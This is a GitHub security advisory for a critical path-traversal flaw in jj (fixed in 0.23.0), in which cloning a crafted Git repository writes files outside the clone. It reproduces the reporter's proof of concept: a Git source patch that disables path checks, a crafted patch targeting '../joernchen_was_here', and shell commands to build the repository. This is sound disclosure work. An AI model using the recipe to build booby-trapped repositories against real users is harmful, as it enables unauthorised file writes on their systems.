Skip to content

jj vulnerable to path traversal via crafted Git repositories

Critical severity GitHub Reviewed Published Nov 6, 2024 in martinvonz/jj • Updated Nov 7, 2024

Package

cargo jj-lib (Rust)

Affected versions

< 0.23.0

Patched versions

0.23.0

Description

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write
into arbitrary directories. This can be achieved by having file objects
which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted
patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository
using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree
directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For
reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next
to the demo directory to demonstrate the traversal.

References

@martinvonz martinvonz published to martinvonz/jj Nov 6, 2024
Published by the National Vulnerability Database Nov 7, 2024
Published to the GitHub Advisory Database Nov 7, 2024
Reviewed Nov 7, 2024
Last updated Nov 7, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N

EPSS score

0.044%
(12th percentile)

Weaknesses

CVE ID

CVE-2024-51990

GHSA ID

GHSA-88h5-6w7m-5w56

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.